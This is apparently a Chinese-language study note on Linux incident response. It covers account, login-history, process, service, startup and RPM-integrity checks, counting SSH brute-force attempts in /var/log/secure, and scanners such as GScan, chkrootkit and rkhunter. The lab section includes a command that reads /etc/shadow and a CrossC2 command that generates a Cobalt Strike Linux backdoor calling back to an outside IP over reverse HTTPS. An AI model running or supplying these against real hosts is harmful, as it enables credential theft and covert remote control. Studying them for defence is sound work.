Linux应急响应
在操作系统上常见分析有:计算机账户,端口,进程,网络,启动项,异常服务,任务(异常定时任务执行),文件(异常文件,如后门、病毒、木马)等安全问题
应急响应这个东西更多的是需要积累经验
系统基本信息
对于 linux 系统的主机排查,可以使用相关命令查看 CPU 信息、操作系统信息及模块信息等。
CPU信息
lscpu #查看 CPU 相关信息,包括型号、主频、内核等 |
- 操作系统信息
uname -a #查看当前操作系统信息 |
- 模块信息
lsmod #查看已载入系统的模块信息 |
用户信息排查
命令
cat /etc/shadow #查看密码 |
# 查看可以远程登录的用户 |
系统用户账户文件格式 说明
用户信息文件:/etc/passwd
root:x:0:0:root:/root:/bin/bash |
注意:无密码只允许本机登陆,远程不允许登陆
历史命令信息
.bash_history 文件
Linux 系统可以通过 .bash_history 文件查看帐号执行过的系统命令:
查看
root用户的历史命令:histroy打开
/home各帐号目录下的.bash_history,执行命令:cat .bash_history >> history.txt,可查看普通帐号的历史命令历史操作命令的清除:
history -c注意此命令并不会清除保存在文件中的记录,因此需要手动删除
.bash_profile文件中的记录。
让 history 命令显示日期和时间
echo 'HISTTIMEFORMAT="%F %T "' >> /etc/profile
source /etc/profile
为历史的命令增加登录的IP地址、执行命令时间等信息:
- 保存1万条命令
sed -i 's/^HISTSIZE=1000/HISTSIZE=10000/g' /etc/profile |
- 在
/etc/profile的文件尾部添加如下行数配置信息:
######jiagu history xianshi######### |
source /etc/profile让配置生效
生成效果: 1 2018-07-10 19:45:39 192.168.204.1 root source /etc/profile |
历史登录信息
who命令:
who默认输出包括用户名、终端类型、登陆日期以及远程主机。
who -H /var/log/wtmp |
可以查看自从wtmp文件创建以来的每一次登陆情况
-b:查看系统最近一次启动时间-H:打印每列的标题,就是表头,指该列是代表什么
users命令:
打印当前登录的用户,每个显示的用户名对应一个登陆会话。
last命令
查看用户登录历史 。此命令会读取 /var/log/wtmp文件;/var/log/btmp可以显示远程登陆信息。
last默认打印所有用户的登陆信息;- 如果想打印指定用户的登陆信息,可以使用
last 用户名
last -t 20230701120000 |
选项:
-x:显示系统开关机以及执行等级信息
-a:将登陆ip显示在最后一行
-f:读取特定文件,可以选择-f /var/log/btmp文件
-d:将IP地址转换为主机名
-n:设置列出名单的显示列数
-t:查看指定时间的用户登录历史例如:
last -t 20150226160404显示这个时间戳之前的登陆历史
lastlog命令
查看所有用户最近一次登录历史,可以看到除了 root 之外
其他账户均未登录过(均为不可登录的账户):
命令将读取/var/log/lastlog文件;用户排列顺序按照/etc/passwd中的顺序
选项:
-u:查看某个用户的最后一次登陆历史例如:
lastlog -u test查看用户
test的登陆历史
-t:查看最近几天之内的用户登录历史例如:
lastlog -t 1查看最近1天之内的登陆历史
-b:查看指定天数之前的用户登录历史例如:
lastlog -b 60查看60天之前的用户登录历史
ac命令
根据/var/log/wtmp文件中的登陆和退出时间报告用户连接的时间(小时),默认输出报告总时间
-p:显示每个用户的连接时间-d:显示每天的连接时间-y:显示年份,和-d配合使用
查看日志文件
Linux查看/var/log/wtmp文件查看可疑IP登陆
last -f /var/log/wtmp |
该日志文件永久记录每个用户登录、注销及系统的启动、停机的事件。因此随着系统正常运行时间的增加,该文件的大小也会越来越大,
增加的速度取决于系统用户登录的次数。该日志文件可以用来查看用户的登录记录,
last命令就通过访问这个文件获得这些信息,并以反序从后向前显示用户的登录记录,last也能根据用户、终端tty或时间显示相应的记录。
查看/var/log/secure文件寻找可疑IP登陆次数
加固:脚本生成所有登录用户的操作历史
在linux系统的环境下,不管是root用户还是其它的用户只有登陆系统后用进入操作我们都可以通过命令history来查看历史记录,可是假如一台服务器多人登陆,一天因为某人误操作了删除了重要的数据。
这时候通过查看历史记录(命令:history)是没有什么意义了(因为history只针对登录用户下执行有效,即使root用户也无法得到其它用户histotry历史)。那有没有什么办法实现通过记录登陆后的IP地址和某用户名所操作的历史记录呢?答案:有的。
- 通过在
/etc/profile里面加入以下代码就可以实现:
PS1="`whoami`@`hostname`:"'[$PWD]' |
source /etc/profile使用脚本生效退出用户,重新登录
脚本在系统的/tmp新建个dbasky目录,记录所有登陆过系统的用户和IP地址(文件名),每当用户登录/退出都会创建相应的文件,该文件保存这段用户登录时期内操作历史,可以用这个方法来监测系统的安全性。
root@zsc6:[/tmp/dbasky/root]ls |
进程端口排查
命令
netstat -antlp #检查端口连接情况 |
一些说明:
- 使用
ps aux --sort -pcpu命令查看系统进程(根据 CPU 使用情况排行,从高到低,如果 CPU
占用率超过 70% 且名字可疑,大概率是中了挖矿病毒了)~
服务排查
服务可以理解为运行在后台的进程。这些服务可以在计算机启动时自动启动, 也可以暂停和重新启动,而且不显示任何用户界面。服务非常适合在服务器上使 用,通常在为了不影响在同一台计算机上工作的其他用户,且需要长时间运行功 能时使用。在应急响应排查过程中,服务作为一种运行在后台的进程,是恶意软件常用的驻留方法。
Linux 系统服务服务
- 检查是否存在可疑服务,执行命令
service --status-all,枚举主机所有服务的状态,查看是否有恶意服务:
- 当发现入侵,杀掉了恶意进程后,过一段时间如果恶意进程又会重新启动,则说明该进程有守护进程,此时应检查是否存在可疑定时任务,可使用
cat /etc/anacrontab查看anacron异步定时任务,同时使用crontab -l枚举定时任务。
检查服务器开机启动项
| 文件位置 | 作用 |
|---|---|
/etc/profile.d/ |
/etc/profile.d/*.sh 是 bash 的全局配置文件,/etc/profile.d/ 下有许多 shell 脚本,可以在开机时启动 |
/etc/init.d/ |
该目录内放的是各个服务的启动脚本,比如 sshd、httpd 等 |
/etc/rc.local |
/etc/rc.local 是/etc/rc.d/rc.local 的软连接,该脚本是在系统初始化级别脚本运行之后再执行的 |
/etc/rc.d/rcX.d/ |
# rcX.d 是目录名,后面的 X 代表着每个运行级别,里面服务都是软连接,真正的目录是 /etc/init.d 下的脚本,可用 ls –l 查看软链接 |
核查部分启动项:
ls /etc/init.d/ |
例子:
当我们需要开机启动自己的脚本时,只需要将可执行脚本丢在/etc/init.d 目录下,然后在/etc/rc.d/rc*.d 中建立软链接即可:
ln -s /etc/init.d/sshd /etc/rc.d/rc3.d/S100ssh |
- 此处的
sshd是具体服务的脚本文件,S100ssh是其软连接,S开头代表加载时自启动;- 如果是
K开头的脚本文件,代表运行级别加载时需要关闭的。
RPM 软件包检查
RPM 软件包检查(RPM 包是预先在 Linux 机器上编译好并打包好的软件安装包),Linux 系统完整性可以通过 rpm 自带的 -Va 来校验检查所有的 rpm 软件包,查看哪些命令是否被替换了:
rpm -Va |
验证内容中的 8 个信息的具体内容如下:
S 文件大小是否改变 |
如果一切均校验正常将不会产生任何输出;如果有不一致的地方,就会显示出来,输出格式是 8 位长字符串,每个字符都用以表示文件与 RPM 数据库中一种属性的比较结果 ,如果是. (点) 则表示测试通过。
日志
实战案例
对SSH进行爆破 查看日志(Centos为例)
- 先用工具对ssh进行爆破
可以看到爆破前的日志:

开始估计后查看日志:

- 统计了下日志,确认服务器遭受多少次暴力破解
grep命令筛选:
-o # 只输出文件中匹配到的部分。
-E --extended-regexp # 将范本样式为延伸的普通表示法来使用,意味着使用能使用扩展正则表达式。
-e<范本样式> --regexp=<范本样式> # 指定字符串作为查找文件内容的范本样式。
uniq命令:报告或忽略文件中的重复行
-c或——count:#在每列旁边显示该行重复出现的次数;
grep -o "Failed password" /var/log/secure|uniq -c |
- 输出登录爆破的第一行和最后一行,确认爆破时间范围
grep "Failed password" /var/log/secure|head -1 |

- 进一步定位有哪些 IP 在爆破?
sort命令:
-n:依照数值的大小排序;
-r:以相反的顺序来排序;
grep "Failed password" /var/log/secure|grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[04][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][09]?)"|uniq -c | sort -nr |

- 爆破用户名字典都有哪些?
grep "Failed password" /var/log/secure|perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}'|uniq -c|sort -nr |

- 登录成功的日期、用户名、IP
登录成功日期、用户名、IP |
linux cs木马上线分析:
借助 CrossC2 项目上线Linux,geacon也可以上线Linux
netstat -ntulp |
- 项目上传至CS服务端目录,给予执行权限


- 配置监听器:监听器为windows/beacon_https/reverse_https 注:如果是阿里云记得端口放行,同时需要关闭linux默认防火墙
- 生成后门:
./genCrossC2.Linux 47.99.49.65 5566 null null Linux x64 C2 |
将后门上传到linux主机并执行上线
通过网络监听工具及 windows 日志分析或执行记录查找后门问题
Linux应急响应工具
自动化响应监测-Gscan多重功能脚本测试
简介
GScan 是一款开源的 Linux 应急响应工具。本程序旨在为安全应急响应人员对 Linux 主机排查时提供便利,实现主机侧 Checklist 的自动全面化检测,根据检测结果自动数据聚合,进行黑客攻击路径溯源,此程序的特点:
- 程序检测的逻辑和方法,均是由一线安全应急人员根据多年实战经验总结出来的;
- 程序包括 10W+的恶意特征信息,用于恶意文件的比对和查杀;
- 结果自动化分析,进行黑客攻击溯源。
- 还是比较nb的一款自动化运维工具。
具体操作指南看
GitHub的readme: GScan v0.1
自动化程序的CheckList项
1、主机信息获取 |
测试环境
系统:
CentOS (6、7) + python (2.x、3.x)权限:
root权限启动执行时间:默认安全扫描大概执行时间为4~6分钟,完全扫描在1~2小时之间,程序执行时间的长度由检测文件的多少决定,有可能会存在较长的时间,请耐心等待
兼容性:目前程序只针对
Centos进行开发测试,其他系统并未做兼容性,检测结果未知
命令
git clone https://github.com/grayddq/GScan.git |
执行完之后,会生成 /GScan/log/gscan.log 文件,详细记录分析结果,例如:被植入的shell、修改的文件、可能被攻击的位置

病毒查杀
Rootkit 查杀
Rootkit 是一种系统内核级病毒木马,其进入内核模块后能获取到操作系统高级权限,从而使用各种底层技术隐藏和保护自身,绕开安全软件的检测和查杀。
Linux 系统可以使用 chkrootkit 工具(网址:http://www.chkrootkit.org)进行 Rootkit 查杀,其使用方法:
wget ftp://ftp.pangeia.com.br/pub/seg/pac/chkrootkit.tar.gz |
在 Linux 系统中安装 rkhunter
wget http://jaist.dl.sourceforge.net/project/rkhunter/rkhunter/1.4.6/rkhunter-1.4.6.tar.gz |
# 第三步:使用 rkhunter |
# 第四步、执行检测命令 |
注意:
官方网站的建议,如果被
rootkit之类的程序包攻击,那么最好最好直接重新安装系统, 不要存在说可以移除rootkit或者木马程序的幻想,因为,『隐藏』本来就是rootkit与木马程序的拿手好戏!
refer
#网盘链接 失效不补,这里面有小迪的病毒样本,要小心操作
声明:
若文章存在错误,望诸君不吝指正^
部分笔记由于年代久远,做的笔记找不到最初是引用谁的,若是不允许引用转载,请联系我











